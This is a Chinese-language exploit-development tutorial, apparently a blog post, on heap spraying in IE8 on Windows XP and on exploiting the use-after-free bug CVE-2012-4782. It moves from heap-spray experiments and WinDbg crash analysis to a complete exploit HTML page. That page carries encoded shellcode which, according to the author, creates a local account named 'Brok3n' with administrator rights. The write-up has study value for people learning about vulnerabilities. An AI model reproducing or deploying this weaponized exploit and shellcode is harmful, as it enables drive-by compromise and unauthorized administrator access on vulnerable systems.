从heap spray到CVE-2012-4782 (UAF)


第一部分:关于heap spray

首先在浏览器中(360、谷歌等)按F12,打开开发者模式:

 

 

在IE8+xpsp3中,打开1.html:

<html>
<body>
<script language='javascript'>
 
var myvar = "CORELAN!";
 
alert("allocation done");
 
</script>
</body>
</html>

windbg附加进程,搜索字符串“CORELAN!”:


查看字符串信息:


通过以上介绍我们可以发现字符串的length表示字符串的unicode的长度,也就是字符串.length=字符串的长度/2 一个字符串对象不仅包括字符串本身,还包括字符串前边的四个字节(表示字符串的大小)以及字符串后边的两个null字符(表示结束)。

理想的堆喷射是包括大量的nop指令(或者类nop指令,比如0x0c0c、0x1c1c等),后边跟shellcode。如下图所示:


当这么排列无限多时,无论EIP指向哪里,shellcode都有很大的概率得到执行。

用如下代码做实验:

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0x1000;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


注:在IE8下, testarray[counter] = all.substring(0,all.length);如果改成testarray[counter]=all 或者改成 testarray[counter] =tag+chunk或者改成 testarray[counter]=tag.substring(0,tag.length)+chunk.substring(0,chunk.length)可能会出错

 

字符串还要包括字符串前边的四个字节和后边的两个字节

testarray[counter]的实际长度是0x1000*2+4+2=8198 bytes

重复200次

这样分配的内存大约是: 8198*200=1639600bytes=1.56Mb

我们使用windbg附加进程查看内存情况,

 

在内存中搜索字符串:s -a 0x00000000 L?0x7fffffff"CORELAN!"



查看地址0x0358dd84所在的堆块地址及堆大小:!heap -p -a 0x0358dd84


可以看到0x0358dd84所在的堆的首地址是0x035722f8,堆块实际大小是0x3fff8,数据的起始地址是0x03572300

我们看一下大小为0x3fff8的堆一共有几块:!heap -stat -h 0x00150000


大小为0x3fff8的堆有8块

为了减少垃圾数据的影响,我们总是希望0x2000无限接近于0x3fff8,为了实现以上目标,我们继续增大内存块。

 

将chunksize = 0x1000修改为0x4000

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0x4000;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


 

在IE8中打开,windbg附加进程:

!heap -stat -h 0x00150000


可以看到大小为0x8fc1的堆块分配了0xcc(204)次,这和我们的数据大小0x4000*2已经非常接近了,在统计学上讲,EIP指向0x90的概率大约是:(0x4000-0x4)*2/0x8fc1*100%

 

我们继续增大内存块的大小:

将chunksize = 0x1000修改为0x10000

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0x10000;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


在IE8中打开,windbg附加进程:

!heap -stat -h 0x00150000


这样成功的概率已经无限大了,我们看一下分配的堆块是从什么地址到什么地址:

 

从0x041bb040到0x062a7001,利用heap spray我们总是希望能覆盖0x06060606 0x0c0c0c0c、0x1c1c1c1c等地址(why,等会再说),继续增大。。。

 

将chunksize = 0x1000修改为0xfffff

<html>
<script >
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN!
chunk = '';
chunksize = 0xfffff;
nr_of_chunks = 200;
for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}
chunk = chunk.substring(0,chunksize - tag.length);
all=tag+chunk;
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks;counter++)
{
testarray[counter] = all.substring(0,all.length);
//testarray[counter] = tag + chunk;
}
alert("Spray done")
</script>
</html>


在IE8中打开,windbg附加进程:

!heap -stat -h 0x00150000

 


这里每个堆块有0x200010大小

 

可以看到0x1c1c1c1c已经被覆盖到了

 

在每个堆块里边,是这样布局的,首先是shellcode,然后是nops指令,总大小是0x200000,我们做一下修改,里边增加一些shellcode+nops的循环,最终使内存块差不多大

<html>
<head>
<script>
 
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5FC; //offset to 0x0c0c0c0c insideour 0x1000 hex block
Padding = '';
NopSlide = '';
 
var Shellcode =
unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');
 
for (p = 0; p < padding_size; p++){
Padding += unescape('%u1c1c%u1c1c');}
 
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u1c1c%u1c1c');} //shellcode hou
NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));
 
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
 
var evil = new Array();
for (var k = 0; k < 400; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert(2);
</script>
</head>
<body>
</body>
</html>


在上述代码中,

 for (p = 0; p < padding_size;p++){
Padding += unescape('%u1c1c%u1c1c');}

使Padding=为padding_size*4*0x1c

 

for (c = 0; c < block_size; c++){
NopSlide += unescape('%u1c1c%u1c1c');}
使NopSlide=block_size*4*0x1c

 NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));

var OBJECT = Padding + Shellcode + NopSlide;

上述两行代码使OBJECT的长度为block_size*2,OBJECT中的字符串按照%u1c1c%u1c1c.....shellcode....%u1c1c%u1c1c排列

alloc函数使字符串循环操作,最终使字符串OBJECT的长度为0xfffe0-6大小,加上字符串对象开头的四个字节和结尾的两个字节,OBJECT的长度正好是0xfffe0.

 


 


 

可以看到堆块刚好覆盖了0x06060606 0x070707070x0c0c0c0c 0x1c1c1c1c这些地址


为什么选择0x0c0c0c0c、0x1c1c1c1c这些地址呢

对UAF漏洞,一个对象的首地址中保存的是虚函数的虚表指针,当一个对象释放后,我们将这一块内存填充为0x0c0c0c0c....等,当这个释放后的对象再次被使用时,通过虚表指针查找虚函数表,这里虚表指针已经被0x0c0c0c0c填充,则虚函数表是从0x0c0c0c0c开始,比如调用调用虚函数表的第二个函数则是call [0x0c0c0c0c+4],内存地址0x0c0c0c10中保存的还是0x0c、0x0c等, 这些都是空操作指令,会一直执行下去,直到执行到我们的shellcode。

0x1c1c1c1c跟0x0c0c0c0c没有多大区别,只是内存地址越高,越稳定,垃圾数据越少。

 

下边以一个UAF漏洞CVE-2012-4782来说明问题

环境:在xpsp3+IE8中

POC.html:

<html>
<head>
<script>
        functionhelloWorld()
        {
               var e0 = null;
               var e1 = null;
               var e2 = null;
               try {
                       e0 = document.getElementById("a");
                       e1 = document.getElementById("b");
                       e2 = document.createElement("q");
                       e1.applyElement(e2);
                       alert(e1.parentNode);
                       e1.appendChild(document.createElement('button'));
                       e1.applyElement(e0);
                       e2.outerText = "";
                       e2.appendChild(document.createElement('body'));
                }
               catch(e)
               { }
               CollectGarbage();
        }
</script>
</head>
<body οnlοad="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>

 首先启用hpa+ust,命令行切换到windbg安装目录下,gflags /i iexplore.exe +hpa +ust


再启用IE,windbg附加IE,g(注意先后顺序,应该是先设置hpa+ust,后启用IE),IE打开poc.html,触发异常:


可以看到edi其实是个对象,对象的首地址保存的是虚表指针,将虚函数表的首地址传到eax,在通过偏移调用虚函数,call dword ptr [eax+4*x],

可以看到edi已经被改动,导致edi不能访问

 

由于前边设置了用户栈回溯(ust),我们看一下对这个对象edi的操作记录:


可以看到,是 button 对象释放后重用造成了访问冲突。

接下来有三个问题,什么时候创建的对象button,什么时候释放的对象button,什么时候重新利用的对象button,对于第三个问题很容易回答就是在637848ae 8b07 mov eax,dword ptr [edi] ds:0023:18266fa8=????????重用了对象button。

既然涉及到对象的创建与释放,那就查看一下创建对象的类CButton有哪些成员函数:


根据函数名字,大概知道函数mshtml!CButton::CreateElement用于创建对象,函数mshtml!CButton::`vector deleting destructor' 用于释放对象,下边对这两个函数下断,

重新启动IE,windbg附加,bp *:


IE打开poc.html,IE果然在CreateElement函数断下:


可以看到函数CreateElement通过调用API函数heapalloc在堆上分配内存,看一下函数heapalloc的定义:

LPVOID HeapAlloc(

HANDLE hHeap,

DWORD dwFlags,

SIZE_T dwBytes,

);

可以看到在进程堆上分配了一个大小为0x58的内存,在0x639944f7下断,可以看到函数heapalloc的返回值是0x17812fa8


继续运行,断在mshtml!CButton::`vector deleting destructor' ,

查看mshtml!CButton::`vector deletingdestructor'的反汇编代码:


在函数heapFree上下断,运行,查看栈信息:



第三个参数是释放的内存块的首地址,跟上边创建的一样,其实这两处就是创建对象与释放对象的地方了,继续运行,就到了 button 对象重用的地方


正好是创建对象的地址:0x17812fa8,这也正好验证了我们的猜测。

至于为什么创建、释放、再利用对象,就请详见参考资料吧

 

 

下边介绍一下利用方法:

创建的对象大小是0x58,button 对象既然被释放了,那么我们立刻申请同等大小的内存块覆盖,,当 button 重用的时候,就被欺骗去使用我们构造的数据了。

我们在申请的内存块中部署大量的0x0c、0x0c、0x0c、0x0c等,当对象中的虚函数被调用时,会首先在对象的首地址中保存虚表指针,此时虚表指针已经被0x0c0c0c0c填充,就会跳转到地址为0x0c0c0c0c的虚函数表中,此时虚函数表还是被0x0c0c0c0c填充,比如我们调用第二个虚函数,那么汇编代码为call dwordptr [eax+4*1],eax=0x0c0c0c0c,但是0x0c0c0c10还是被0x0c字符填充,这样最后0x0c字符得到执行,最终0x0c后边的shellcode得到执行。

 

首先我们申请一块大小是0x58的内存块

var arr_div = new Array();
var junk=unescape("%u0c0c%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
for(var i = 0; i<0x1; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}


为什么要减6呢,因为字符串前边有四个字节表示字符串的大小,后边还有两个字节0x00表示结束,加起来来正好是0x58

这个地方循环一次跟100次结果都是一样的

最终的利用代码如下:

<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u0c0c%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x1; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
alert(1);
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
 
block_size = 0x1000;
padding_size = 0x5FC; //offset to 0x0c0c0c0c inside our0x1000 hex block
Padding = '';
NopSlide = '';
 
var Shellcode =
unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');
 
for (p = 0; p < padding_size; p++){
Padding += unescape('%u0c0c%u0c0c');}
 
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u0c0c%u0c0c');} //shellcode hou
NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));
 
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
 
var evil = new Array();
for (var k = 0; k < 400; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert(2);
}
</script>
</head>
<body οnlοad="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>


shellcode是创建一个名为Brok3n的账号

执行之后,成功创建了账号:

 

边测试边参考边写的,肯定有很多不对的地方,欢迎多提意见

参考:

1.    【原创】CVE-2012-4782漏洞分析到EXP构造:http://bbs.pediy.com/showthread.php?t=206371

2.    【翻译】Windows Exploit开发系列教程第八部分:堆喷射第一节【覆写EIP】http://bbs.pediy.com/showthread.php?t=207158

3.    【翻译】Exploit 编写系列教程第十一篇:堆喷射技术揭秘(上)http://bbs.pediy.com/showthread.php?t=151381

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值